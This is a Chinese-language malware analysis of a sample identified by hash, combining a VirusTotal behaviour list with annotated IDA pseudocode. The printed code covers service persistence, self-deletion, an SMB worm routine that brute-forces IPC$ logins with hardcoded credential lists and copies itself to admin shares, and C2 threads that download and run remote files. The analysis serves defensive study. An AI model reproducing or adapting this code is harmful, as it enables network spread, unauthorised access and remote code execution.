【病毒分析】44b95162f85b81e71e5f2e7abbc904a6339ce0aa
文件信息
脱壳
VT
可能会有以下行为：
加载驱动程序;
从自己的二进制映像中读取数据。
一个过程创建了一个隐藏的窗口;
删除二进制文件并执行它。
可执行文件使用UPX压缩;
使用Windows实用程序实现基本功能;
安装自身以在 Windows 启动时自动运行。
创建隐藏文件或系统文件。
创建自身的副本;
使用可疑的命令行工具或 Windows 实用程序;
加密在患者硬盘上找到的记录 - 因此患者无法再利用这些信息;
防止定期访问患者的工作站;
尝试连接到死 IP：端口（1 次唯一时间）
从自己的二进制映像中读取数据
进程创建了一个隐藏的窗口
删除二进制文件并执行它
非常规二进制语言：中文（简体）
二进制资源中使用的非常规语言：中文（简体）
二进制文件可能包含加密或压缩的数据。
可执行文件使用 UPX 进行压缩
使用 Windows 实用工具实现基本功能
从磁盘中删除其原始二进制文件
自行安装以便在 Windows 启动时自动运行
创建隐藏文件或系统文件
创建自身的副本
使用可疑的命令行工具或 Windows 实用程序
火绒剑实际监控的行为：
10:12:48:657, cmd.exe,6368:6152,5000,BA_self_delete,C:\Users\lilwen\Desktop\44b95162f85b81e71e5f2e7abbc904a6339ce0aa,,0x00000000 [操作成功完成。 ],
IDA载入
主函数
WinMain()
{
WSAStartup(0x202u, &WSAData); //初始化
if ( sub_405A52() )
{
v7 = 0;
v8 = 0;
ServiceStartTable.lpServiceName = ServiceName; //15654656 获取服务号
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;
StartServiceCtrlDispatcherA(&ServiceStartTable);
}
else
{
sub_405B6E(ServiceName, (int)a456876, a456468465); //15654656；456876；456468465
if ( dword_409638 ) // OpenSCManagerA , OpenServiceA , CloseServiceHandle 打开服务管理器
{ // CopyFileA , RegSetValueExA , StartServiceA , RegOpenKeyA , UnlockServiceDatabase , ChangeServiceConfig2A , CreateServiceA , LockServiceDatabase
sub_40355B(); // 病毒执行完成后会自删
ExitProcess(0);
}
}
return 0;
}
================================================================================================================================================
int sub_405A52() //获取注册表地址 SYSTEM\\CurrentControlSet\\Services\\15654656
{
v0 = LoadLibraryA(aAdvapi32Dll_0);
Destination = 0;
RegCloseKey = GetProcAddress(v0, aRegclosekey);
memset(v4, 0, sizeof(v4));
v5 = 0;
strcpy(&Source, "SYSTEM\\CurrentControlSet\\Services\\");
v6 = 0;
strcpy(&Destination, &Source);
strcat(&Destination, ServiceName); //拼接注册表服务路径
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, &Destination, 0, 0xF003Fu, &phkResult) ) //打开注册表服务路径
return 0;
RegCloseKey(phkResult);
return 1;
}
打开注册表服务路径
成功打开 eax=1 打开失败 eax=0
找到路径后执行 找不到路径 打开失败之后创建路径
===================================================================================================================================================
找不到路径打开失败后 ：
int __cdecl sub_405B6E(char *a1, int a2, LPCSTR lpString) //a1=15654656；a2=456876；lpString=456468465 开启服务a1
{
if ( strncmp(Buffer, Filename, v15) )
{
v25 = sub_406C30(26) + 97; //GetTickCount()
v24 = sub_406C30(26) + 97;
v23 = sub_406C30(26) + 97;
v22 = sub_406C30(26) + 97;
v21 = sub_406C30(26) + 97;
v16 = sub_406C30(26);
wsprintfA(Source, "%c%c%c%c%c%c.exe", v16 + 97, v21, v22, v23, v24, v25); //随机生成6个字母 作为文件名
strcat(Buffer, '\');
strcat(Buffer, Source);
CopyFileA(Filename, Buffer, 0);//复制文件
memset(Filename, 0, sizeof(Filename));
strcpy(Filename, Buffer);
dword_409638 = 1;
}
ms_exc.registration.TryLevel = 0;
v40 = OpenSCManagerA(0, 0, 983103);
if ( v17 )
{
v39 = CreateServiceA(v17, a1, a2, 983551, 272, 2, 1, Filename, 0, 0, 0, 0, 0); //a1=15654656 服务号
v29 = LockServiceDatabase(v17);
v31 = '456468465';
ChangeServiceConfig2A(v39, 1, &v31);
v27[1] = 0; v27[0] = 86400; v27[2] = 0; v27[3] = 3; v27[4] = (int)v30;
v30[1] = 7000; v30[0] = 1; v30[3] = 0; v30[2] = 1; v30[5] = 0; v30[4] = 1;
ChangeServiceConfig2A(v39, 2, v27);
UnlockServiceDatabase(v29);
if ( !v39 && GetLastError() == 1073 )
{
v39 = OpenServiceA(v40, a1, 983551); //a1=15654656服务号
if ( !v18
)
goto LABEL_10;
StartServiceA(v18, 0, 0);
}
if ( StartServiceA(v39, 0, 0) )
{
strcat("SYSTEM\\CurrentControlSet\\Services\\", a1); //拼接路径SYSTEM\\CurrentControlSet\\Services\\15654656
RegOpenKeyA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\", &v43); //打开服务路径
strcpy(v28, "Description");
v19 = lstrlenA(lpString); //lpString=456468465
RegSetValueExA(v43, v28, 0, 1,lpString, v19);
}
}
LABEL_10:
ms_exc.registration.TryLevel = -1;
if ( OpenServiceA(v40, a1, 983551); ) //v40 = OpenSCManagerA(0, 0, 983103);
CloseServiceHandle(OpenServiceA(v40, a1, 983551););
if ( OpenSCManagerA(0, 0, 983103); )
CloseServiceHandle(OpenSCManagerA(0, 0, 983103););
if ( v43 )
RegCloseKey(v43);
return sub_40355B(4219034);
}
-----------------------------
此时 创建系统目录
------------------------------
往下走
int sub_40355B() //%COMSPEC% /c del filename > nul，将自身删除
{
v0 = LoadLibraryA(aKernel32Dll_2);
lstrcatA =GetProcAddress(v0, 'lstrcatA');
Filename = 0;
memset(v13, 0, sizeof(v13));
v14 = 0;
v15 = 0;
Buffer = 0;
memset(v5, 0, sizeof(v5));
v6 = 0;
v7 = 0;
v8 = 0;
memset(v9, 0, sizeof(v9));
v10 = 0;
v11 = 0;
GetModuleFileNameA(0, &Filename, 0x104u);
GetShortPathNameA(&Filename, &Filename, 0x104u);
GetEnvironmentVariableA(Name, &Buffer, 0x104u); //NAME="COMSPEC"
lstrcatA(&v8, "/c del ");
lstrcatA(&v8, &Filename);
lstrcatA(&v8, " > nul");
pExecInfo.lpVerb = v18;
pExecInfo.lpFile = &Buffer;
pExecInfo.cbSize = 60;
pExecInfo.hwnd = 0;
strcpy(v18, "Open");
pExecInfo.lpParameters = &v8;
pExecInfo.lpDirectory = 0;
pExecInfo.nShow = 0;
pExecInfo.fMask = 64;
if ( !ShellExecuteExA(&pExecInfo) )
return 0;
SetPriorityClass(pExecInfo.hProcess, 0x40u);
v1 = GetCurrentProcess();
SetPriorityClass(v1, 0x100u);
v2 = GetCurrentThread();
SetThreadPriority(v2, 15);
SHChangeNotify(4, 1u, &Filename, 0);
return 1;
}
// 病毒执行完成后会自删
===============================================================================================================================================
void __noreturn sub_40561A()
{
v0 = LoadLibraryA(WS2_32.dll);
closesocket = (int)GetProcAddress(v0, aClosesocket);
v1 = LoadLibraryA(ADVAPI32.dll);
SetServiceStatus = (BOOL)GetProcAddress(v1, aSetservicestat);
v2 = LoadLibraryA(ADVAPI32.dll);
RegisterServiceCtrlHandlerA = GetProcAddress(v2,"RegisterServiceCtrlHandlerA");
dword_409110 = (int)RegisterServiceCtrlHandlerA)(ServiceName, SetServiceStatus);
dword_409118 = 32;
dword_409120 = 7;
dword_409124 = 0;
dword_409130 = 2000;
dword_40912C = 1;
dword_40911C = 2;
(SetServiceStatus)(dword_409110, &dword_409118);
dword_40912C = 0;
Sleep(0x1F4u);
dword_40911C = 4;
(SetServiceStatus)(dword_409110, &dword_409118);
strcpy(LibFileName, "KERNEL32.dll");
strcpy(ProcName, "GetLastError");
v4 = LoadLibraryA(LibFileName);
SetServiceStatus = GetProcAddress(v4, ProcName);
strcpy(v11, "GetCurrentThreadId");
v5 = LoadLibraryA(LibFileName);
GetProcAddress(v5, v11);
strcpy(v12, "CreateMutexA");
v6 = LoadLibraryA(LibFileName);
v7 = GetProcAddress(v6, v12);
if ( ((int)v7)(0, 0, ServiceName) && ((int)SetServiceStatus)() == 183 )
exit(0);
if ( dword_4016D8 == 1 )
{
EnumResourceNamesA();
wsprintfA(pFileName, "hra%u.dll", 33);
sub_4053A6(pFileName); //获取文件名获取服务"SYSTEM\\CurrentControlSet\\Services\\"
sub_4034E5();//加载"hra33.dll"
if ( dword_4016D8 == 1 )
{
CreateThread(0, 0, sub_402DD5, 0, 0, 0);
Sleep(0x1F4u);
}
}
WSAStartup(0x202u, &WSAData);
CreateThread(0, 0, sub_4051E0, 0, 0, 0);
WSAStartup(0x202u, &WSAData);
CreateThread(0, 0, sub_405241, 0, 0, 0);
while ( 1 )
{
dword_409628 = sub_4030FD(sub_40387C, 0);
WaitForSingleObject(dword_409628, 0xFFFFFFFF);
CloseHandle(dword_409628);
((void)closesocket)(fd);
dword_401C84 = 1;
Sleep(0x12Cu);
}
}
此处有三个线程：
线程①
sub_402DD5()
{
//登录账号 用户名
v12[0] = Administrator;
v12[1] = Test;
v12[2] = Admin;
v12[3] = Guest;
v12[4] = Alex;
v12[5] = Home;
v12[6] = Love;
v12[7] = Xp;
v12[8] = User;
v12[9] = Game;
v12[10] = 123;
v12[11] = nn;
v12[12] = Root;
v12[13] = (int)sub_401848;
v12[14] =Movie;
v12[15] =Time;
v12[16] =Yeah;
v12[17] =Money;
v12[18] =Xpuser;
v12[19] =Hack;
v12[20] =Enter;
v12[21] = 0;
//登录密码
v11[0] = (int)&dword_409644;
v11[1] = Password;
v11[2] = 111;
v11[3] = 123456;
v11[4] = Qwerty;
v11[5] = Test;
v11[6] = Abc123;
v11[7] = Memory;
v11[8] = Home;
v11[9] = 12345678;
v11[10] =Love;
v11[11] = bbbbbb;
v11[12] = Xp;
v11[13] = 88888;
v11[14] = nn;
v11[15] = Root;
v11[16] = Caonima;
v11[17] = 5201314;
v11[18] = 1314520;
v11[19] = Asdfgh;
v11[20] = Alex;
v11[21] = Angel;
v11[22] = Null;
v11[23] = 123;
v11[24] = Asdf;
v11[25] = Baby;
v11[26] = Woaini;
v11[27] = Movie;
v11[28] = 0;
result = WSAStartup(); // 初始化套接字
if ( result )
{
name = 0;
memset(v7, 0, sizeof(v7));
v8 = 0;
v9 = 0;
if ( !gethostname(&name, 128) )//获取主机名
{
v2 = gethostbyname(&name);//获取主机信息
v14 = v2;
if ( v2 )
{
v3 = 0;
v15 = 0;
while (v2->h_addr_list + v3)
{
memset(v13, 0, sizeof(v13));//清空缓冲区
memcpy(&v13[4], ((char *)v2->h_addr_list + v3), v2->h_length);
Buffer[0] = 0;
dword_40961C = 1;
memset(&Buffer[1], 0, 0x7Cu);
&Buffer[125] = 0;
Buffer[127] = 0;
do
{
dword_409624 = 0;
memset(Buffer, 0, sizeof(Buffer));
sprintf(Buffer,"%d.%d.%d.%d",v13[4],v13[5],v13[6],dword_40961C);
if ( aAdministrator )
{
do
{
if ( &dword_409644 )
{
do
{
Sleep(0xC8u);
if ( dword_409624 == 1 )
break;
sub_402AD0((int)Buffer, *username, *password); //复制病毒模块
++password;
}
while ( *password );
}
++username;
}
while ( *username);
}
++dword_40961C;
}
while ( dword_40961C < 254 );
v15 += 4;
v3 = v15;
}
}
}
WSACleanup();//结束
result = 1;
}
return result;
}
sub_402AD0(int a1, int a2, LPCSTR lpString1)
{
if ( !lstrcmpA(lpString1, String2) )
sprintf(Buffer, "\"%s\"", (const char *)&dword_40963C);
CmdLine[0] = 0;
memset(&CmdLine[1], 0, 0x400u);
&CmdLine[1025] = 0;
CmdLine[1027] = 0;
v13 = 0;
memset(v14, 0, sizeof(v14));
v15 = 0;
v16 = 0;
sprintf(CmdLine, "\\\\%s\\ipc$",a1);
v19[5] = (int)CmdLine;
v19[0] = 2;
v19[1] = 0;
v19[2] = 0;
v19[3] = 1;
v19[4] = (int)&dword_409640;
v19[7] = 0;
v19[6] = 0;
WNetAddConnection2A(v19, lpString1,a2, 0); //WNetAddConnection函数使调用应用程序能够将本地设备连接到网络资源。
if ( !WNetAddConnection2A ) //创建网络资源连接
return 1;
GetModuleFileNameA(); //获取本模块名
Sleep(0xC8u);
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "\\\\%s\\admin$\\g1fd.exe",a1);
lstrcpyA(&v13, aAdmin);
v6 = GetModuleFileNameA();
if ( CopyFileA(v6, CmdLine, 0) ) //将病毒文件复制到 本模块的文件路径
goto LABEL_9;
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "\\\\%s\\C$\\NewArean.exe", a1);
lstrcpyA(&v13, aCG1fdExe);
v7 =GetModuleFileNameA();
if ( CopyFileA(v7, CmdLine, 0) )
goto LABEL_9;
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "\\\\%s\\D$\\g1fd.exe",a1);
lstrcpyA(&v13, aDG1fdExe);
v8 =GetModuleFileNameA2();
if ( CopyFileA(v8, CmdLine, 0)
|| (memset(CmdLine, 0, sizeof(CmdLine)),
sprintf(CmdLine, "\\\\%s\\E$\\g1fd.exe", a1),
lstrcpyA(&v13, aEG1fdExe),
v9 =GetModuleFileNameA(),
CopyFileA(v9, CmdLine, 0)) )
{
LABEL_9:
GetLocalTime(&SystemTime);
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "at \\\\%s %d:%d %s", a1, SystemTime.wHour, SystemTime.wMinute + 2, &v13); //在两分钟后启动恶意程序
WinExec(CmdLine, 0);
dword_409624 = 1;
Sleep(0x7D0u);
}
else
{
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "\\\\%s\\F$\\g1fd.exe", (const char *)a1); //如果没有cde盘就在f盘创建
lstrcpyA(&v13, aFG1fdExe);
v10 = GetModuleFileNameA();
CopyFileA(v10, CmdLine, 0);
}
return 0;
}
线程②：
sub_4051E0():
{
struct WSAData WSAData;
char String[256];
WSAStartup(0x202u, &WSAData);
do
{
Sleep(0x64u);
sub_4050DB(String);//获取本地时间
}
while ( atoi(String) <= 20130221 );
Sleep(0x64u);
return CreateThread(0, 0, sub_405128, 0, 0, 0);//回调到000034DA StartAddress(4040DA) 连接"aa.re67das.com"
}
线程③：
sub_405241()
{
struct WSAData WSAData; // [esp+4h] [ebp-290h] BYREF
char String[256]; // [esp+194h] [ebp-100h] BYREF
WSAStartup(0x202u, &WSAData);
do
{
Sleep(0x64u);
sub_4050DB(String);//获取本地时间
}
while ( atoi(String) <= 20130221 );
Sleep(0x64u);
return CreateThread(0, 0, sub_405184, 0, 0, 0);//回调到00003D08 sub_404908(404908) 连接www.gassxxx.com
}
StartAddress()
{
Sleep(0x2BF20u);
strcpy(ProcName, "WriteFile");
v0 = LoadLibraryA(aKernel32Dll_6);
GetProcAddress(v0, ProcName);
v1 = LoadLibraryA(aKernel32Dll_7);
GetTempPathA = GetProcAddress(v1, aGettemppatha_0);
v2 = LoadLibraryA(aWs232Dll_0);
closesocket = GetProcAddress(v2, aClosesocket);
v3 = LoadLibraryA(aKernel32Dll_8);
lstrcatA =GetProcAddress(v3, aLstrcata);
result = sub_404044();//连接"aa.re67das.com"
s = result;
if ( result != -1 )
{
sub_403492(result, 75);
memset(Src, 0, sizeof(Src));
sub_4060F0(Src);
if ( sub_4034E5() == 1 )
Src[40] += 2;
if ( dword_4016DC == 1 )
Src[41] += 3;
if ( dword_4016E0 == 1 )
Src[42] += 4;
*(_DWORD *)buf = 176;
*(_DWORD *)&buf[4] = 119;
memcpy(&buf[8], Src, 0xB0u);
if ( send(s, buf, 184, 0) != -1 )
{
strcpy(LibFileName, "urlmon.dll");
strcpy(v45, "URLDownloadToFileA");
while ( 1 )
{
memset(buf, 0, sizeof(buf));
if ( !sub_403758(s, (int)buf, 8) || !sub_403758(s, (int)&buf[8], *(int *)buf) )
break;
if ( *(_DWORD *)&buf[4] > 6u )
{
switch ( *(_DWORD *)&buf[4] )
{
case 0x10:
CmdLine = 0;
memset(v27, 0, sizeof(v27));
v28 = 0;
v29 = 0;
v34 = 0;
memset(v35, 0, sizeof(v35));
v36 = 0;
v37 = 0;
GetTempPathA(260, &CmdLine);
v13 = GetTickCount();
wsprintfA(&v34, "%d", v13);
lstrcatA(&CmdLine, &v34);
v14 = LoadLibraryA(LibFileName);
v15 = GetProcAddress(v14, v45);
((void (__stdcall *)(_DWORD, char *, CHAR *, int, _DWORD))v15)(0, &buf[8], &CmdLine, 10, 0);
if ( *(_DWORD *)&buf[4] == 17 )
v16 = 5;
else
v16 = 0;
WinExec(&CmdLine, v16);
break;
case 0x12:
v8 = OpenMutexA(0x1F0001u, 0, ServiceName);
v9 = v8;
if ( v8 )
{
ReleaseMutex(v8);
CloseHandle(v9);
}
Buffer[0] = 0;
memset(&Buffer[1], 0, 0x100u);
*(_WORD *)&Buffer[257] = 0;
Buffer[259] = 0;
v30 = 0;
memset(v31, 0, sizeof(v31));
v32 = 0;
v33 = 0;
GetTempPathA(260, Buffer);
Size = sub_406C30(0x1Au) + 97;
v21 = sub_406C30(0x1Au) + 97;
v20 = sub_406C30(0x1Au) + 97;
v19 = sub_406C30(0x1Au) + 97;
v10 = sub_406C30(0x1Au);
wsprintfA(&v30, "%c%c%c%c%ccn.exe", v10 + 97, v19, v20, v21, Size);
lstrcatA(Buffer, &v30);
v11 = LoadLibraryA(LibFileName);
v12 = GetProcAddress(v11, v45);
if ( !((int (__stdcall *)(_DWORD, char *, char *, int, _DWORD))v12)(0, &buf[8], Buffer, 10, 0) )
{
sub_40351A(ServiceName);
memset(pszSubKey, 0, sizeof(pszSubKey));
strcpy(v49, "SYSTEM\\CurrentControlSet\\Services\\");
sprintf(pszSubKey, "%s%s", v49, ServiceName);
SHDeleteKeyA(HKEY_LOCAL_MACHINE, pszSubKey);
Sizeb = s;
((void (*)(void))closesocket)();
sub_40355B(Sizeb);
WinExec(Buffer, 0);
ExitProcess(0);
}
break;
case 0x14:
strcpy(File, "iexplore.exe");
strcpy(Operation, "open");
v7 = GetDesktopWindow();
ShellExecuteA(v7, Operation, File, &buf[8], 0, 1);
break;
}
}
else
{
switch ( *(_DWORD *)&buf[4] )
{
case 6:
v17 = OpenMutexA(0x1F0001u, 0, ServiceName);
v18 = v17;
if ( v17 )
{
ReleaseMutex(v17);
CloseHandle(v18);
}
sub_40351A(ServiceName);
memset(Buffer, 0, sizeof(Buffer));
strcpy(v49, "SYSTEM\\CurrentControlSet\\Services\\");
sprintf(Buffer, "%s%s", v49, ServiceName);
SHDeleteKeyA(HKEY_LOCAL_MACHINE, Buffer);
Sizea = s;
((void (*)(void))closesocket)();
sub_40355B(Sizea);
ExitProcess(0);
case 2:
lstrcpynA(Parameter, &buf[24], 260);
dword_409374 = *(_DWORD *)&buf[8];
dword_40937C = *(_DWORD *)&buf[16];
dword_409378 = *(_DWORD *)&buf[12];
dword_409380 = *(_DWORD *)&buf[20];
sub_403135(Parameter);
break;
case 3:
dword_409240 = *(_DWORD *)&buf[8];
dword_409248 = *(_DWORD *)&buf[16];
dword_409244 = *(_DWORD *)&buf[12];
dword_409254 = *(_DWORD *)&buf[20];
dword_40924C = *(_DWORD *)&buf[24];
dword_409250 = *(_DWORD *)&buf[28];
lstrcpynA(byte_409140, &buf[32], 128);
v6 = lstrlenA(byte_409140);
lstrcpynA(byte_4091C0, &buf[v6 + 33], 128);
sub_403280(byte_409140);
break;
case 4:
lstrcpynA(String, &buf[24], 128);
v5 = lstrlenA(String);
lstrcpynA(String1, &buf[v5 + 25], 512);
dword_409608 = *(_DWORD *)&buf[8];
dword_409610 = *(_DWORD *)&buf[16];
dword_40960C = *(_DWORD *)&buf[12];
dword_409614 = *(_DWORD *)&buf[20];
sub_403311(String);
break;
case 5:
dword_401C84 = 1;
if ( dword_40962C )
dword_40962C();
break;
}
}
}
closesocket(s);
}
result = closesocket(s);
}
return result;
}
线程②与线程③，只有连接的网址不一样
Sub_40336C()
加密字符串-->解密sub_4029CE-->复制网址-->连接
